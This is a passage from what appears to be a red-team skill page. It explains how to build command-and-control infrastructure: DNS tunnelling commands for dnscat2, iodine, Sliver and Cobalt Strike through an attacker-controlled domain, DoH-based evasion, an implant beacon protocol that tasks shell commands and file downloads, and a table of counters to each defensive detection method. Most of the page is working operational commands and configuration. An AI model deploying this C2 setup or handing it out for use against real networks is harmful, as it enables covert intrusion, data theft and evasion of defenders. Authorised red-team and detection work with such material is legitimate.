AAAA record AAAA ~16 B/query Low bandwidth Slightly more data
DNS-over-HTTPS HTTPS ~2 KB/query Highest Encrypted, hardest to inspect
```
### DNS Infrastructure Setup
```bash
# 1. Register domain: ops-telemetry.com
# 2. Create NS delegation for C2 subdomain:
# c2.ops-telemetry.com NS ns1.ops-telemetry.com
# ns1.ops-telemetry.com A <team-server-ip>
# 3. Verify delegation
dig NS c2.ops-telemetry.com @8.8.8.8
dig A test.c2.ops-telemetry.com @8.8.8.8
# If your team server receives the query → delegation works
# 4a. Cobalt Strike DNS listener
# Listeners → Add → Beacon DNS
# DNS Host: c2.ops-telemetry.com
# Bind Port: 53
# 4b. Sliver DNS listener
sliver> dns --domains c2.ops-telemetry.com --lport 53
# 4c. dnscat2
ruby dnscat2.rb c2.ops-telemetry.com --secret=SharedKey2026!
# Client on target:
./dnscat --dns=domain:c2.ops-telemetry.com --secret=SharedKey2026!
# Force CNAME (avoid TXT-based detection):
./dnscat --dns="domain=c2.ops-telemetry.com,type=CNAME" --secret=SharedKey2026!
# 4d. iodine tunnel (creates virtual network interface)
# Server:
iodined -f -c -P TunnelPass123 10.0.0.1 tunnel.ops-telemetry.com
# Client:
iodine -f -P TunnelPass123 tunnel.ops-telemetry.com
# Creates dns0 interface at 10.0.0.2 → route traffic through DNS tunnel
```
### DNS-over-HTTPS (DoH) C2
```text
# Implant resolves C2 domains through DoH instead of system DNS
# Prevents: local DNS logging, DNS inspection appliances, DNS RPZ blocking
# DoH resolvers: Cloudflare (1.1.1.1), Google (8.8.8.8), Quad9 (9.9.9.9)
# Architecture:
# [Implant] → HTTPS to 1.1.1.1/dns-query → DNS query → [Your NS] → [Team Server]
# Network sees: HTTPS to 1.1.1.1 (Cloudflare) — appears as normal DoH traffic
# Cobalt Strike: configure implant to use DoH for DNS resolution
# Custom agents: implement DoH resolver in implant code
```
### DNS C2 OPSEC
```text
SIGNAL DETECTION RISK MITIGATION
──────────────────────────────────────────────────────────────
High query volume HIGH Rate-limit callbacks to <1/minute
Long subdomain labels MEDIUM Keep labels <30 chars, use base32
TXT record responses MEDIUM Prefer CNAME or A records
Single domain queries HIGH Rotate across 3+ C2 domains
Entropy in subdomains MEDIUM Mix with legitimate-looking prefixes
Regular timing HIGH High jitter (50%+) on DNS check-ins
```
---
## Custom C2 Development
When off-the-shelf frameworks are signatured or inappropriate, build
a minimal C2 from scratch. The core components are straightforward;
the difficulty is in the operational hardening.
### Architecture
```text
┌─────────────┐
│ Operator │
│ Console │
└──────┬──────┘
│ API (authenticated)
┌──────┴──────┐
│ Team Server │ (task queue, session mgmt, logging)
└──────┬──────┘
│
┌──────┴──────┐
│ Redirector │ (URI + UA filter, TLS termination)
└──────┬──────┘
│ HTTPS / DNS / custom
┌────────────┼────────────┐
┌────┴────┐ ┌────┴────┐ ┌────┴────┐
│ Implant │ │ Implant │ │ Implant │
└─────────┘ └─────────┘ └─────────┘
```
### Beacon Protocol Design
```text
CHECK-IN (implant → server):
POST /api/v2/telemetry HTTP/1.1
Host: cdn.example.com
Content-Type: application/json
Authorization: Bearer <session_token>
Body: AES-256-GCM encrypted {
"id": "<implant_uuid>",
"ts": <unix_timestamp>,
"nonce": "<random_nonce>", # anti-replay
"hostname": "<target_hostname>",
"user": "<current_user>",
"results": [<completed_task_outputs>]
}
TASK RESPONSE (server → implant):
200 OK
Content-Type: application/json
Body: AES-256-GCM encrypted {
"tasks": [
{"id": "<task_uuid>", "type": "shell", "args": "whoami"},
{"id": "<task_uuid>", "type": "download", "args": "C:\\secrets.xlsx"}
],
"sleep": 60,
"jitter": 40,
"nonce": "<server_nonce>" # anti-replay
}
```
### Protocol Hardening
```text
REQUIREMENT IMPLEMENTATION
──────────────────────────────────────────────────────────────
Encryption AES-256-GCM with per-session derived keys
Authentication Pre-shared key → session token exchange
Anti-replay Nonce per message, server rejects duplicates
Integrity GCM tag validates ciphertext + AAD
Forward secrecy ECDH key exchange at registration
Session rotation New session key every N check-ins
Certificate pinning Implant validates server certificate hash
Kill date Hard-coded expiry → implant self-destructs
Self-destruct Wipe config + overwrite binary on disk
```
### Jitter Implementation
```python
import random, time
def sleep_with_jitter(base_seconds, jitter_percent):
"""Sleep for base_seconds ± jitter_percent variance."""
jitter = base_seconds * (jitter_percent / 100.0)
actual = base_seconds + random.uniform(-jitter, jitter)
actual = max(1, actual) # never sleep less than 1 second
time.sleep(actual)
# 60s base, 40% jitter → sleeps 36-84 seconds
sleep_with_jitter(60, 40)
```
### Fallback Channel Design
```text
PRIORITY TRANSPORT DOMAIN NOTES
────────────────────────────────────────────────────────────
1 HTTPS cdn-a.example.com Primary, via CDN
2 HTTPS api-b.example.com Secondary, different provider
3 DNS-TXT dns.example.org Low bandwidth, different domain
4 DNS-DoH (via 1.1.1.1) Through public DoH resolver
5 Raw TCP hardcoded IP Last resort, high detection risk
# Fallback logic:
# Try channel 1 → if 3 consecutive failures → try channel 2
# If channel 2 fails → try channel 3
# Continue down the chain with exponential backoff
# If all channels fail → dormant mode (check primary every 24h)
# Never generate noisy rapid retries on failure
```
---
## Certificate Management
```bash
# Public CA certificates for all external-facing infrastructure
certbot certonly --standalone -d cdn-api.example.com \
--agree-tos --email ops@example.com
# PKCS12 for Cobalt Strike
openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem \
-out c2.p12 -name c2 -passout pass:changeit
keytool -importkeystore -srckeystore c2.p12 -srcstoretype PKCS12 \
-destkeystore c2.store -deststoretype JKS \
-srcstorepass changeit -deststorepass changeit
# Certificate fingerprint for pinning
openssl x509 -in fullchain.pem -noout -fingerprint -sha256
# NEVER use self-signed certs on external infrastructure
# Self-signed = trivially fingerprinted by network monitoring
# Self-signed = JA3S anomaly (Java TLS stack + self-signed = Cobalt Strike)
```
---
## Defender Perspective — What Gets Caught
```text
DETECTION LAYER WHAT THEY LOOK FOR YOUR COUNTER
──────────────────────────────────────────────────────────────────────────────
JA3/JA3S fingerprint TLS handshake hashes unique to C2 CDN fronting inherits CDN's JA3S
Beacon analysis Statistical periodicity in callbacks High jitter, variable sleep
HTTP profile signatures Known URI patterns, header combos Custom profiles, avoid public ones
DNS tunnel detection High-entropy subdomains, TXT volume Short labels, rate-limit, CNAME
Memory scanning Known strings, loader stubs, shellcode Sleep mask, BOF over fork-and-run
Certificate anomalies Self-signed, mismatched metadata Let's Encrypt, matched CN/SAN
Named pipe monitoring Sysmon 17/18, default CS pipe names Custom pipe names mimicking Windows
Process genealogy Unusual parent-child relationships Proper spawn-to, avoid rundll32
Network flow metadata Persistent connections, data volumes Short sessions, chunked transfer
```
---
## Framework Comparison Matrix
| Attribute | Cobalt Strike | Sliver | Mythic | Havoc | Brute Ratel | Metasploit |
|--------------------|---------------|------------|------------|------------|-------------|------------|
| License | Commercial | Open source| Open source| Open source| Commercial | Open source|
| Primary language | Java | Go | Python/Go | C/Python | C/C++ | Ruby |
| Sleep obfuscation | Sleep mask | — | Per agent | Ekko/Zilean| Custom | — |
| Indirect syscalls | Via BOF/kit | — | Per agent | Built-in | Built-in | — |
| In-process exec | BOF | Extensions | Per agent | DotNet inline| Reflective | Migrate |
| Multiplayer | Yes | Native | Native | Yes | Yes | Via DB |
| Cross-platform | Win focus | Win/Lin/Mac| Per agent | Win focus | Win focus | All |
| DNS C2 | Native | Native | Via profile| — | DoH native | — |
| Best for | Full-scope RT | Open-source RT| Custom agents| EDR-heavy | Evasion-first| Initial access|
---
## Validation Checklist
```text
INFRASTRUCTURE
[ ] Team server bound to 127.0.0.1 — not internet-facing
[ ] Redirector deployed with URI + UA filtering
[ ] Valid TLS certificate from public CA on all external hosts
[ ] Domains aged 14+ days with legitimate categorization
[ ] Separate infrastructure per tier (delivery / short-haul / long-haul)
[ ] Kill dates configured on every implant
COMMUNICATION
[ ] Malleable/traffic profile mimics target's real traffic
[ ] Profile validated with c2lint or equivalent
[ ] Sleep configured per beacon tier (interactive 5-10s / idle 60-300s / long-haul 12-24h)
[ ] Jitter at 30-50% minimum
[ ] Fallback channel on independent transport and domain
[ ] DNS C2 rate-limited to avoid tunnel detection
OPSEC
[ ] host_stage = false (no staging handshake)
[ ] sleep_mask enabled (memory encrypted during sleep)
[ ] Spawn-to set to legitimate process (not rundll32)
[ ] Named pipes use custom patterns
[ ] Default watermark removed or changed
[ ] BOFs preferred over fork-and-run
[ ] InlineExecute-Assembly over execute-assembly
[ ] No default tool signatures in profile or implant
OPERATIONAL
[ ] Deconfliction codes embedded in traffic
[ ] Every action logged with timestamp and technique
[ ] Cleanup script prepared for all artifacts
[ ] Evidence encrypted at rest
[ ] Infrastructure tear-down procedure documented
```
Attribution
Related skills
View all in security →Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.